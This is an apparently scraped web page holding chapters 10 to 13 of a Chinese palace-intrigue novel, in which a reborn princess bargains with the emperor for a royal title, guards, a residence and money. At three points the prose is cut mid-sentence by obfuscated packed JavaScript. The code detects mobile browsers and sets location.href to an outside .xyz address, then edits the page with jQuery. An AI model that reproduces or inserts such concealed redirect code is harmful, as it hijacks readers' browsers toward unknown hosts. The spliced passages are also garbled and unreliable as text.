站在殿侧的中常侍张永,看着如此震怒的帝王,直接跪了下去。然而,当武德帝将目光继续看向林昭时,却发现她依然无动于衷。 这让他不免有点咬牙切齿起来,“你倒是有恃无恐!” 林昭对此不仅没有反驳,甚至还煞有介事的点了点头,“没办法,反正都没啥活路了,我如果再畏首畏尾,摇尾乞怜,岂不是仅剩的日子,都只能活得憋屈得要死?况且——” 说着,她直接直视武德帝那双怒火翻腾的双眼,一字一句道“陛下,你想要看到的,不就是这样一个我嘛?” 武德帝没再说话,他坐回了刚刚的位置,阴沉着脸看向她。 死寂,再一次在殿内蔓延。 林昭明白,武德帝这是恼怒了,恼怒她将一切都挑明了。 很显然,他本是想要用“父女情”这个武器,来对她进行绑定的。不让她叫陛下,却让她叫爹,不过是第一步罢了。如果林昭没有猜错的话,接下来他或许会说几句关心的言语,以昭示对她的怜爱。 接下来,再给她一个盛大的爵位和封号,和无数看着光鲜亮丽的赏赐,让她的“受宠”变得人尽皆知,让洛京所有人的目光都聚集在她身上。 本来,林昭也打算接下这个套路,配合武德帝来一场表演,正如她最开始想的那样。 帝王保全了面子,达成了目的,而她,也可以趁此提出要求,获得了实在的利益,双赢! 但现在,她改变主意了。 演什么演,明知道是假的,她凭啥要配合武德帝演戏? 就凭武德帝那番奇葩言论? 他知不知道一个乡野女子的苦难有多么可怕?他看不到她瘦成骨架子般的身体吗,看不到她的头重脚轻嘛,看不出这具身体已经受损严重了? 这是简单的“吃苦”二字就能形容的嘛?这是那种文人雅士轻飘飘来一句“梅花香从苦寒来”就能盖过去的嘛? 为了凸显自己的瘦弱,她可是特意穿了一身窄袖袍服!就这,武德帝都能装作视而不见。 甚至将别人的苦难,当成笑谈,甚至还轻描淡写来一句,吃苦也是有用的。 这样的人,她凭什么要配合表演。 脑海中的思绪凌乱又跳跃,林昭捂了捂自己胸口中那快速跳动的心脏,明白自己现在的情绪有点过激。 或许是小时候听了父母太多关于这样的“吃苦有用论”,形成了条件反射般的应激,导致她根本无法控制自己。 不过,她也没有制止自己的意思,表面的温情既然已经被打破,就是反悔也无用。 况且,这也不是没有好处的。 最起码,要东西的时候她能掌控更大主动权不是?这大概就是不可代替品的底气吧! 谁让如今的西雍国,只有她这样一个预言中的“未来女帝”呢,哪怕为了后续西雍国的传承,在找出真正的继承人之前,武德帝也不会杀她,还会尽可能保护她。 这样一想,林昭发现她的确有点有恃无恐,恃天幕所营造的天命的势。 于是,她就更淡然了。 就那样静默得矗在殿内,既不惶恐的跪下请罪,也没有打算去辩解什么,甚至连一句最基础的“请陛下息怒”、“儿臣知罪”之类的场面话都没打算说,就跟个木头人似的,一动不动,稳得一批! 另一边,武德帝的目光紧紧锁在林昭的身上,直接将她脸上那幅无所畏惧的表情映入了眼底。 看着眼前的人明知道自己的恼怒,却连句请罪的话都不屑说一句,他是真的快气笑了。 他已经很久没有被人这样对待过了。作为一国皇帝,向来是说一不二。但凡脸上露出一点怒容,臣下哪个不是诚惶诚恐,汗流浃背。 哪怕是号称为顶流世家之首的宋国公也不敢明着违拗他,没想到倒是在这个刚找回的女儿身上体验了一回被怼的感觉。 偏偏,她还真是一点都没说错! 想到这里,武德帝便不得不强行压下那股翻腾的郁气。他虽然性格有点暴戾,却并不是真容易失去理智的人。 真这般控制不住自己的脾气,他也坐不稳这皇帝的位置,还坐了二十年。 甚至,暴戾的性格,本身就是他故意对外展示的形象,也是他用来威慑群臣的武器。 可惜,他那些个儿子,要么聪明但自私阴狠,要么看着聪明却只会对着女眷耍心机,着实让他看不上眼; 太子倒是一直在学他,可只学了一个表面,却没学到他的精髓。最重要的是,该暴戾的时候不暴戾,脾气全甩到那些宫女内侍身上了。 倒是眼前这个瘦弱的女儿....... 武德帝目光略有些复杂,虽然脾气倔了点,倒有了点他想象中的继承人的样子。 可惜了,是个女子。 想到这里,武德帝看向殿下再次沉默得站着,脸上毫无惊惶之色的人,顿时失去了继续为难下去的兴趣。 他直接放松身体,身体微微后靠,倚在宽大的御座靠背上,反手轻敲几下案几,目光似笑非笑的看着林昭道, “哦,那你说说,我想要看到的你,是怎样的?” “陛下,你想让我成为你手中的剑,帮你搅乱这洛京的权势格局;你又想让我成为太子和皇子们的一块磨刀石,替你磨出这西雍国最合适的继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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武德帝沉默了下来,他刚刚的确一时怒火上身,忘记了这个问题。别说西雍国改朝换代,但凡他死了,登上帝位的不是眼前他这个女儿,新帝第一个杀的绝对就是她。 这样一想,她的确不用担忧林氏族灭了。搞不好那些族灭的人里面,就有她的仇人。 一想到这里,武德帝便很是心塞。 更让他心塞的是,武德帝发现,一旦将所有事情讲开后,只谈利益,不再披上父女这层血脉情分的外衣,他似乎也没有了掣肘这个女儿的武器了。 血缘亲情这张牌,对方比他还不在意!想用“爹”这个身份施压,她转嘴就来一句“陛下”!想用皇帝这个身份强逼,这个女儿更加有恃无恐。 总不可能真杀了吧,真杀了去哪里找这么好这么完美的一个工具人? 杀不得,就只能利诱了!这个女儿分明是已经看穿了他的打算。 可虽然他本就打算通过“示以恩宠”将这颗棋子推到风口浪尖,但自己示恩,和被人逼迫着示恩完全是两码事好不? 想到自己堂堂一个皇帝,竟被逼到这个份上,武德帝直接黑了脸,粗声粗气道, “说罢,你想要什么?” 10.第 10 章 林昭就等着这句话呢,至于武德帝的黑脸,她根本看不见。 就算看见了,她也不会放在心上。虽然武德帝名分上是她的父亲,但她也不可能对一个才刚见一次面的父亲有什么感情的,更别说这个所谓的父亲,还是个想拿她当工具使的人。 她努力展现自己,呈现自己的价值,可不就是为了在接下来这一场谈判中,占据有利位置吗? 所以,林昭丝毫没有犹豫,直接开口道,“陛下,我所求不多,只有四个条件。”说着,她看向依然坐在阴影中的武德帝,嗓音清晰,开始说出自己的第一个要求。“首先,我要封王,而非一个轻飘飘无足轻重的公主封号。” “封王?”武德帝没想到这个女儿胃口这么大,明明是个女子,竟然敢堂而皇之的让她敕封王位,忍不住沉声道,“你可知,自古至今就没有女子封王的?别说朕不可能答应,就算朕答应了,朝中的文武百官也不可能答应。” “可自古至今,也没有未登基就有天兆的女帝不是?”林昭丝毫不惧,直接反驳道,“既然自古至今没有,那就从西雍国开始拥有,不就行了?况且,谁又规定了,只有皇子才能封王,公主就不能封王爵呢?至于朝臣——” 林昭勾唇,嘴角直接浮出一抹讥讽的冷笑,“若陛下连这点小事都不能乾坤独断,还是趁早退位让贤,把这龙椅让出去吧!兴许还能给林氏留一条活路。” “放肆——”武德帝闻言直接唰的站了起来,一股滔天的怒意混合着难以置信的震惊,几乎要冲破他的胸腔! 看着眼前轻飘飘的说出让他退位这句话的女儿,要不是理智尚存,他怕是已经一刀砍过去。可就算没有拔刀,他的脸上也呈现出欲择人而噬的骇人面容,看着林昭丝毫无惧的模样,更是恨得一脚直接把眼前的案几踹翻在地。 “你好大胆子!”武德帝怒视着林昭,咬牙切齿般说道,“是真不怕朕杀了你?” 林昭不仅没有惧怕,甚至还饶有兴趣的歪头看向她,状似不解的问道,“陛下为何如此愤怒?这难道不是你想要的嘛?莫非陛下以为,光凭一个虚无缥缈的天兆预言,你的那些太子王爷以及背后的势力,就会把我放在心上?” 说着,她直接指向自己,“陛下莫非眼瞎不成,你看看我,一个面黄肌瘦的小儿,身不及陛下腰间,若身上没有点惊天动地的特殊恩宠,谁会将我那‘天命’放在眼里?谁又会把我视为真正威胁呢?我可是为陛下着想啊!” 一句话说得,委屈十足。 本想继续愤怒的武德帝,第一次心中莫名浮现出一抹愧疚的情绪。当然,也只是一抹而已,且很快就消散了。 他咳嗽了一声,努力缓和了一下声音,看向这个已经开始有点无赖的女儿道,“封王不成,但朕可以封你为镇国公主,位比亲王,俸禄和配置,都按照亲王爵位!这也是西雍国独一份,如何?” 林昭早就知道,这件事不可能轻易达成。 但没想到,自己都开始卖惨了,武德帝竟也丝毫没有松动的迹象。这让她未免有点失望。 这个问题,表面看只是王爵和公主爵的问题。甚至,如果真如武德帝所言的话,镇国公主爵表面上和王爵其实并没有多大区别。但本质上,是她对武德帝能否看在足够多利益的基础上,打破男女界限的一次试探。 归根结底,她想要成为下一任女帝,武德帝的态度很重要。 除非,她选择政变上位。 而且,镇国公主这个爵位,名义上的确可以位比王侯。但这种名义指的不过是规制配置,和王爵能够拥有的权力完全不同。 她想要在这个西雍国中以女子之身培养出自己的势力,实现自己的目标,就必须脱离公主这个普通的女性爵位范畴,让底下人看到她有成为帝王的希望,哪怕有男冠女戴的嫌疑,也必须如此。 若连这个都没有,有谁会选择投资她这样一个必死之人?就算是风险投资,也得有成功的概率啊。 因此,这是原则性问题,这个王爵,她必须得到。 而且,谈判的过程中,最忌讳的就是临时变卦,很容易被人看出自己一方的虚弱。 “陛下若不答应,就直接赐死我吧,也省的儿臣届时被人千刀万剐,死了都不安生。”林昭丝毫不让的说道。 武德帝瞳孔剧缩,原本缓和的脸瞬间又黑了起来,他虎目眈眈得看向眼前的女儿,很是不爽道,“你在逼朕?” “我只是在陈述一个简单的事实!”林昭直接摇头道,她的确是在逼武德帝,但她怎么可能承认呢? 殿内,瞬间再次陷入死一般的寂静! 武德帝看着林昭那平静得丝毫未起波澜的眼眸,知道这事是再没有商量的余地了。他扫了一眼殿旁的张永,待张永上前将案几摆回原位,随即便又大马金刀般坐了下来,再次变回了那个目光深沉的武德帝,沉声说道, “这个条件,朕答应了,说说你的第二个条件吧。” 不就是一个王爵吗?真以为王爷有那么好当!届时只希望这个女儿不要后悔! 林昭暗暗的松了一口气,搞定了最难的一部分,接下来就好办了。 说实在话,和一个封建帝王谈判,跟和一个公司合作伙伴谈判,那感觉是真的完全不同的。公司的合作伙伴再怎么生气,也威胁不到她的生命;而一个封建帝王,光身上的气势威压就能压的人喘不过气来,更别说动辄还能杀人了。 虽然林昭很清楚,武德帝不可能会杀她,但真正面对着武德帝的暴怒的那一刻,心还是不可避免得紧缩了一下。 好在,她赢了。 不过,为了避免刺激到武德帝,林昭脸上并没有显现出什么喜悦,而是继续道,“第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063774|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个条件,我希望拥有一支千人护卫队,且这支护卫队必须是陛下的心腹。”说着,她语速放缓,沉声道,“陛下,想必驿站的事情你也提前了解了,我现在身处漩涡中,想要我命的人可不少,陛下也不希望我这磨刀石,刚到洛京没多久连刀都没来得及磨,就直接碎了吧!” 这一点,武德帝要用林昭,自然提前考虑到了。 到底是他的女儿,哪怕他存有利用之心,他也不希望林昭就那样不明不白的死了。听到林昭的要求,他朝身旁的张永一瞥,直接命令道,“把人带进来吧!” 张永听到这句话,立马疾步走出大殿,很快便将一个身材高大的女子领了进来,只见她身高八尺,体型颀长,手持一把长枪,竟然丝毫不顾忌这里是皇宫大殿,跟着中常侍张永的步子,就这么大大咧咧的走进了殿内。 好在,女子还算知道一些规矩,进殿就俯身行礼道, “拜见陛下!” 武德帝点了点头,转头对林昭道,“她叫穆兰,从今天开始就贴身保护你!” 林昭看了看穆兰的身高,再看一眼自己还没到人家腰间的身高,一时之间都不知道该说什么了。倒是穆兰,似乎非常高兴,扭头就走到她面前,眼神亮晶晶,像找到亲人的幼兽般看着她,单膝跪地道,“拜见主人。” 林昭:像看到一条朝自己摇尾巴的漂亮小狗狗! 由此也可以看出,眼前的穆兰,在智力上可能出了问题。毕竟,但凡一个正常人,都不可能给皇帝行拜礼后,又当着皇帝的面,扭头对她行跪礼。 不过,这于她而言,也未必是坏事。最起码这样的人心性纯粹,不必担心她背叛。 “起吧!”林昭点了点头。 随后,等穆兰站在她身边后,林昭这才再次看向武德帝,“不知道陛下打算将哪些人给我!” 武德帝拧眉,没想到这个女儿竟然还在纠结这个,没看到他都已经给了保镖了吗?还要怎么样?其他的皇子皇女,他可没有这么上心过。不过,到底刚刚对峙输了,这个女儿又还有用处,武德帝只能好声好气得解释道, “放心,以后你住在宫中,朕会护着你,你也不需要什么千人护卫队。” 林昭看向武德帝,不得不提醒道,“陛下,你似乎搞错了一件事,我不可能住在宫里。实际上,这也是我的第三个条件,我需要一个宫外的住宅。” “怎么,你这会儿又不怕死了?”武德帝怒极反笑道。 “陛下,若我在洛京都城,天子脚下,都能如此轻易被杀,那陛下就该好好反思一下自己了。二十年的皇帝,当成了什么模样!连洛京的局势都把控不住,何况整个西雍国大好山河?” 一番诛心之言,让武德帝差点又暴怒而起,他看着眼前这个一次又一次挑衅自己的女儿,有那么一瞬间真觉得,干脆直接砍了算了。 11.第 11 章 但最终他还是忍住了。 说到底,半月前那个天兆所言的东西,还是影响了他。 虽然那个天兆没有明摆着说,但已经透露了最起码三个消息。首先,他只有六年可活了。六年,不是一个很长的年份,但也不算一个很短的年份,武德帝对此倒也没有多大感觉,毕竟,六年后他也已经五十多了,活够本了。 其次,他死后,他的继承人不仅没有发展好西雍国,还只掌控了4年便差点让西雍亡国。 这也是最让武德帝意难平的地方。他和父亲辛辛苦苦打天下,然后谋朝篡位,拼着在史书上给自己留下乱臣贼子的风险创立西雍国,要的是什么?不就是他林氏的子孙后代能够百代荣华吗? 结果,他一死,国就快灭了,这让他如何甘心? 所以,他将这个女儿找了出来了,不为其他,就是为了趁着自己还活着,重新再择一遍继承人。同时,正如这个女儿刚刚所说的,利用她的身份,将洛京的权力格局变一变,为后继者扫清障碍。 最后,也是天幕透露最明显却最不可思议,很多人都觉得不太可能发生的一个消息,她这个女儿未来可能继承西雍国,延续西雍国400年的统治。武德帝知道,天兆说出这个消息后,很多人对此都觉得荒谬,并对此嗤之以鼻,也没有多放在心上。 不过,武德帝却并没有简单的就否决了这一切。 准确的来说,从他这个女儿走到他面前那一刻,他的心就已经有所松动了。不可否认,这个女儿临危不乱,甚至敢跟他谈条件的勇气,虽然让人恼火,却也的确值得欣赏。若她是儿子,武德帝指不定就欣然将其定为继承人了。 可惜了,这是个女儿。 可即便是个女儿,也是他的女儿。万一.......武德帝忍不住想道,万一届时他那些儿子真的一个都不中用,这个女儿上位他也不是不能接受。总归,还是他的血脉不是,最起码他们林氏可以保全。 当然,这只是最后的路,不到最后万不得已,武德帝是绝不可能让其发生的。相反,他反而倾向于临死之前,将这个女儿嫁了,以此来保住这个女儿的一条命。 所以,哪怕要利用她,武德帝也没打算真把她推上绝路。 让其居住在宫里,就是武德帝对她的保护。 想到这里,武德帝最终还是再次收了怒气,解释道,“你只需住在宫里,朕会保护你的安危。” 林昭笑了,“然后呢?困在宫里等死?” 她为什么一定要出宫住,是真的不知道住在宫里比宫外安全一点吗?可那又怎么样?宫外危险,可最起码她不至于被困在宫里,所有的人手和势力,都只能求武德帝赏赐,可以自己发展一些势力。 真困在宫里,她才完蛋了呢?要知道这西雍朝宫里的皇后可姓宋,是太子亲身的母亲。 此外,不管是齐贤妃,还是王昭仪等人,怕是都不会想她好过吧!甚至她的亲身母亲武贵妃,都不太可能待见她。 真住在宫里,她死的时候,怕是连挣扎的机会都没? “朕会保护你直到你长大,届时朕会安排你嫁人。放心,朕总归会保住你一条命的!”武德帝好声好气道,到底是自己的女儿,武德帝也不是那么无情的人,真把人利用完就丢。 看着眼前武德帝一本正经的承诺,林昭先是一怔,随即像听到世间最荒谬的笑话般,忍不住大笑起来。林昭笑的几乎是肆无忌惮,笑的很大声,笑得前仰后合,笑得近乎癫狂,笑得身体浑身发颤。“哈哈哈哈——!!!” 她怎么也没想到,都重生了竟然还能听到这样一种言论,“陛下,你不会以为嫁人是万能解药吧,我嫁了人便可以万事无忧了吧!”说着,她的眼泪都被笑出来了,依然出声嘲讽道,“你说这句话时,扪心自问一下,如果你是下一任皇帝,你会放过这样一个顶着‘天命预言’的我嘛?” “逆女!放肆!”林昭那句反问一出,一向认为自己只有对没有错的武德帝,恼羞成怒之下直接崩断了脑海里那根理智的弦,他一把抓住案几上的茶盏,便朝着林昭狠狠的掷了过去,丝毫没有收敛手中的力度。 很显然,在那么一瞬间,他是真的想要不计后果,直接杀了眼前这个碍眼的女儿。 林昭自然也感受到了这份杀意,幸好她身形还算灵活,疾退了几步,便躲开了掷来的茶盏。眼见茶盏在自己面前碎成了渣渣,林昭也不挣扎了,索性直接坐在了地上。笑这个动作,笑多了实在是累人。她止住了笑声,声音渐缓道, “陛下何必恼怒,我说的难道不是事实嘛?我为何要住在宫外,不过是想要活着而已,有何错?” 武德帝喘着粗气,却只觉得自己的一番父爱都喂了狗屎。他很想直接叫外面的羽林卫进来,杀了眼前这个肆无忌惮,敢嘲弄他这个帝王的女儿。可怒气过后,理智回归,到底还是忍住了。 最后,他猛地一拂袖,仿佛要挥开眼前这个让他无比头疼的身影,忍不住瓮声瓮气道,“既然你要去宫外找死,朕就满足你!”满足你三个字,武德帝说得格外重,随后继续道,“只希望你别后悔!” 林昭见好就收,立马起身行礼道,“多谢爹!” 这本是一个好迹象,但听在此刻的武德帝耳边,却怎么听都有一股子憋屈感,他忍不住嘲弄道,“怎么,这会儿倒是知道叫爹了,不叫陛下了?” 林昭很爽快的采纳了武德帝的建议,不过还是认真得说道,“我知道,陛下刚刚的确为我考虑了。” 虽然武德帝不是个什么好父亲,至少对她对原主都不是。但不可否认,刚刚那一瞬间,他的确为她考虑过。 不然,根本不用纠结她住在宫内还是宫外这件事。毕竟,把她放在宫外,反而能够在洛京激起更大的波澜,她这个工具才能价值最大化。相反,把她留在宫内,虽然也能起到相似的效果,但到底束手束脚,效果也可不能那么好。 他提议的把她嫁了这个方案,虽然在林昭看来过于理想化,但也不可否认,这的确是这个时代最好的一个方案了。 武德帝有这份心,对她而言是件好事,她自然要对此有所表示。 世人都希望付出能够被看到,哪怕现实世界一个小小的甲方老板尚且如此,更何况一个向来唯我独尊的皇帝。 武德帝冷哼了一声,果然心底稍微好受了点,没再继续嘲弄,只没好气道,“我会让林霄带着二千虎贲禁卫保护你。说吧,最后一个要求是什么?不要再提什么过分要求,不然,朕无法保证会不会反悔,你明白吗?” 说到最后三个字,武德帝咬字格外重。 “自然!” 林昭点头,最核心的几个要求被满足了,这最后一个要求,她本就没打算要什么过分的东西。 不过是因 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而接下来,她所要做的核心事情便是两个,第一,造势,第二,聚人,即收集人才。 聚人和造势其实是一体的。造势可以为自己聚人,聚人也可以让自己创造出更大的势能。 七月份左右的建州大旱,便是她为自己规划的起步造势的重要一环,也是将天意转化为民心所向、实力根基的重要一环。 虽然听着很冷血,但这场即将到来的建州灾难,的确可以成为她初步的登天梯。 而她所需要做的,只是把穿越团宠女主早就拿出来却没有成功推广的土豆准备好,然后以“救世主”的名义,力挽狂澜。 届时,建州一带民心基本都能够收拢在手,人才更是不用愁。 也是现在封王没有封地,不然,她好歹得争取一下建州这个核心要地,到时候救灾的效果肯定更好。 如今,见武德帝询问,自然直接道, “陛下,我最后一个条件不是其他,只盼陛下赏赐我一些银钱和皇庄!” 武德帝都已经做好这个女儿继续狮子大开口的准备了,没想到她这最后一个要求如此“普通”。 不过,看着眼前这个女儿那面黄肌瘦的样子,想到这十几年来她因为贫穷吃的苦,武德帝突然觉得自己明白了这个女儿要钱的原因了。 他本就有意弥补一下她。 况且,如果不给她足够的赏赐,如何体现他对这个女儿的“恩宠”,将那些人的目光聚在她身上?所以,对这个条件,武德帝心里几乎是想也没想就答应了。 皇帝嘛,钱从来不是问题,特别是他这种打过仗的皇帝。 不过,到底心里憋屈,他也不耐烦跟这个女儿再来回拉扯了。 武德帝只点了点头,随即便烦躁得再次挥了挥手,对林昭道,“准了!滚吧,滚去你的明德殿!看着你就烦!” 林昭对此也不以为意,总归谈判已经成功,目的已经达到了。这明德殿,显然是武德帝为她安排的住所,目前来看应该是安全的。而且,就算要出宫,她也不可能一来就立马出宫,总要在宫里住几天。 她也没再多言,俯身行了一礼道,“既如此,爹,儿臣就先告退了!” 随后,便带着穆兰,直接退出了乾安殿偏殿。 12.第 12 章 武德帝盯着那个给自己行个礼就扭头就走,丝毫不拖泥带水的女儿,只觉得心中那股刚被压下去的愤怒又涌上来了。 这女儿哪里是女儿,分明是个讨债祖宗,还是态度好点就叫他爹,不好就叫他陛下,用完就扔的那种。 只是,此刻的他已经没力气继续生气了,甚至都已经懒得维持自己那迫人的帝王气势,眼看着林昭离开了后,便重重的靠在御座的椅子上,闭目养神起来。 眼看着天子不再言语,张永趁着这个机会,立马轻声示意外面的内侍宫女,将刚刚摔碎的茶杯,收拾了去。 随后,又给天子上了一杯茶,便再次站在了殿内角落处。 说起来,他伺候了眼前这个帝王十多年,还是第一次见他这么憋屈。 想起刚刚帝王和那位真公主两人之间不断试探谈判的场景,都把陛下气成那样了还能全身而退,看来这个被找回来的真公主,还真不是一般人啊。 想到如今洛京城里,那些还对天兆不置可否,甚至嗤之以鼻的人,张永在心底默默地将林昭的份量从末尾调到太子后面。 突然,天子的声音响起。 “张永!” 张永一个激灵,立刻趋前几步,躬身听命,“老奴在!” “你说说,朕的这位公主如何?” 张永没想到武德帝会问这样一个问题,但领导的问题不得不答。而且,他听得出,武德帝说出此话时,略带一丝骄傲,这可是少见的。哪怕是现在的太子,也没有让他这样过。 想到这里,他眼眸一转,先说出了一个最安全也最不会出错的答案,“不愧是凤子龙孙,陛下的公主,哪怕曾经珍珠蒙尘,依然掩盖不了光华。而且——” 张永眼皮微微上扬,看了前面的武德帝一眼,见他面上没有丝毫不悦的意思,这才适当的补充道,“殿下虽然看似有点鲁莽,但在奴婢看来,殿下内心还是亲近你的,若非亲近陛下,又怎么对陛下提如此多需求呢。” 武德帝听到后面那句话,果然笑了起来,显然张永的那句话说到他的心巴上了。 但很快,他的脸上的笑意便敛去了,取而代之的是一抹困惑不解,“你说,人被谋杀一次后,变化.........会这么大嘛?按说,她这十几年可是一直生活在乡野里,应该是大字不识才对啊。” “这——”张永心颤了一下,他也不知道该如何解释这样的变化,只能道,“民间亦有‘大难不死,必有后福’、‘大劫之后,必有大悟’之说,或许殿下就是如此呢!” 武德帝点了点头,也没有说相信了,也没有说不相信。 “你说她为何不问朕黄家如何了呢?莫非已经猜到朕已经把他们都杀了?” “这——”张永一时之间也不知道该如何回答。 好在,武德帝也不需要他回答,“罢了!”他挥了挥手,过了一会儿就直接对他吩咐道,“去,给咱们的昭王找一处好宅子,再给她挑几个大皇庄,温泉别院之类的。记住,不管是庄子还是宅子里的人 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而御座上,独自坐在阴影中的武德帝,看着张永退去逐渐不见了身影,这才骤然长叹一口气。 疲惫、恼怒的表情在他脸上交替闪现,想到刚刚林昭的临危不惧和步步紧逼,最终所有的情绪化为一声混杂着恼怒与无尽惋惜的长叹,在空荡的殿内回荡! “真他娘的是个妖孽.....怎么就偏生.....不是个男儿呢?” 13.第 13 章 林昭并不知道,武德帝已经想要她“变男”了。 刚从乾安殿那略带压抑的偏殿走出来,一队内侍女官便无声无息围拢上来。随即,一个约摸着三十岁,身穿青色衣裳的女官模样的人走了上来,声音不高却很清晰道,“奴婢青衣,奉令引陛下前往明德殿。” 很显然,这些人都是武德帝安排好的。 “有劳了!”林昭淡然的点了点头,并没有拒绝。 很快,一行人就在女官的无声引导下,离开了乾安殿,进入了西雍国皇宫更深处的地方。 林昭缓步慢慢的走着,看着四周巍峨的宫墙,光可鉴人的石板铺就的道路,和随处可见黑砖灰瓦,第一次有种深入历史的恍惚感。这里的皇宫建筑和现代看到的紫金城完全不同,即没有它的富丽堂皇,也没有它的精雕细琢,却更显历史的沉重。 行走期间,仿佛有一种背负历史的沉甸甸感觉。 她看了一眼沿途遇到后,便立马俯身站在一旁的宫人内侍们,这些人要么手捧这什么东西,要么手提着什么东西。但不管他们此前正坐着什么,看到她的队伍来了后,都立马低下头,垂首躬身,避让到道路两侧,姿态恭顺至极。 和现代那种不爽了可以怼老板,甚至掀桌子的打工人,完全不是一个状态。 第一次,她对这种封建王权,有一种格外清晰的认知。 就在她如此这般想的时候,一直不出声的011系统,突然出声了。 【宿主,我想到好办法了!】 林昭连脚步都没停了一下,只挑了挑眉问,“什么好办法?” 【收集信仰值的好办法啊。宿主,那天幕不是说武德帝快要死了吗?统统这里刚好有颗长寿丹,我们完全可以将长寿丹给武德帝吃啊。这枚长寿丹可是好东西,不仅可以长寿,还能全方位提升身体素质呢。嘻嘻嘻!】蠢萌系统电子音欢快的说道, 【宿主,武德帝只要吃了长寿丹,到时候肯定会将宿主视为神明的啦。届时,宿主再用还有另一枚长寿丹诱惑他,不愁他不尽心尽力给宿主造庙收集信仰啦。】 “长寿丹?不用靠信仰值就能拿下?”林昭有点惊讶。 她都已经准备好了,耗费了几十年来收集信仰值,拿下这枚药丸子呢。 【宿主,按道理是不能的,这不是我们的工作没法展开吗?统统已经跟主系统说了,先将长寿丹给你啦,算是系统借给你的,等你收集到了信仰值,再从里面扣。宿主,你觉得怎么样?是不是很么么哒?】 林昭觉得如何,她觉得实在是太棒了,要不是怕被蠢萌系统看出来,她高低得大笑一声。 这些日子,她还担心自己怕是死之前,可能都搞不到那枚药丸子兑换所需的信仰值呢。毕竟这具身体实在是太差,这几天她饭都不敢多吃,多吃一点就消化不良。主要是这年代的东西,哪怕是富贵人家,吃得都不咋地,无非是多一些肉而已。 没想到系统就这么直接把东西送到了她面前。 这么好的便宜,怎么能不占呢!至于还信仰值,它有本事拿就让它拿喽,反正那玩意对她又没啥用处。 “不错!是个好办法!”林昭不吝夸奖道。 【嘿嘿!宿主,这可是我想了好几天才想到的。】011系统蠢萌电子音中都透出欢快,【宿主,那我先把长寿丹给你放架子上了哈!宿主想要直接取就行了。】 林昭微微点头,看了一眼那枚丹药,打算到了明德殿就把它吃了。 送武德帝,笑话! 好东西,自然要吃到自己嘴里才最保险。 一人一统正说着,队伍转到一处类似于花园的地方,里面虽然没有假山楼阁遍地,却也种植了不少奇花异草。花草掩映处,偶尔还能听到水流潺潺的声音。随即,移步换景间,一个朴素中带着秀雅的亭轩,呈现在了林昭面前。 亭轩中显然有人,她还未看到人,就先听到了人声。 林昭好整以暇得停下了脚步,她有预感,里面的人就是冲着她来的,不然如何会那么凑巧。 很快,一个宫女训斥另一个宫女的声音,便传到了她的耳边。 “翁主宠你,便让你不知天高地厚起来了,连翁主头上的金簪都想要了?”一个女子斥责般说道,声音尖利,彷佛生怕别人听不见了。说完,停顿了一下,彷佛在等人反应似的。 林昭没有动,就那么样静静地站着,等待着她的下一句话。 果然,很快宫女的下一句叱骂声便传来了,“你算什么东西,乡野出来的泥腿子货色,泥巴都还洗干净呢。”彷佛是怕她听不到乡野这个词一般,这两个字那女子咬得格外重,说完便立马道,“翁主能够看重你,是你的福气,竟然还敢妄想踩到翁主头上,谁给你的胆子?” 被骂的宫女显然已吓得魂都快飞了,只能一味的求饶,“奴婢没有拿金簪,翁主饶命,奴婢真的没有拿!” “还敢狡辩!”那叱骂的宫女声音再次响起,“那金簪就在你头上明晃晃得插着呢,很多人都看到了。”说完,她还呸了一口,骂道,“不要脸的贱东西,以为飞上枝头就能做凤凰,也不看自己配不配?” 字字句句,明面上说的是那个小宫女,暗地里都是在代指林昭。 领路的女官青衣脸都白了,她是真的没想到,天子这才刚接见这位真公主呢,就有人敢舞到公主面前了。 而且,这个人竟然是以前的明珠公主,现在的明珠翁主,真假公主传闻中的另一位当事人。为何青衣能够如此清楚,自然是因为,在这西雍国的宫禁之内,除了她在没有别的什么翁主存在了。 说来,这位翁主可真是好命啊。 明明是个乡野出生的野丫头,结果一个抱错,直接在深宫长大,成为了西雍国鼎鼎有名的明珠公主。好不容易天兆揭穿了她的假公主身份,结果武贵妃一个哭喊,武德帝直接以“与国有功”的理由,收其为养女。虽然没有了公主封号,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109631|179107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成了翁主。 说是降了一级,却连待遇都没有变一下。 也不知道这位真公主知道后会如何想,青衣低着头,下意识微微侧脸看向前方的当事人林昭,想要看她如何应付。簇拥着林昭的其他几个女官内侍,也脸色瞬间骤变,看向林昭。 也就跟在林昭身边的穆兰,对此有点不明所以,只东张西望,以为林昭停下来是要做什么事。 林昭却勾唇笑了起来,并不是愤怒的笑,而是一种兴味的笑容。 说起来,这种宫斗现场,可比看宫斗剧爽多了。 而且,这里的翁主是谁,哪怕她没听到封号,也猜出了大概。除了女主,还能是谁?她正愁怎么合理立威呢,毕竟,打得一拳开,才能免得百拳来,她一个乡野初来乍到的人,在这样的宫廷生活,不立个威怎么行? 没想到原女主自己就这么撞上来了。 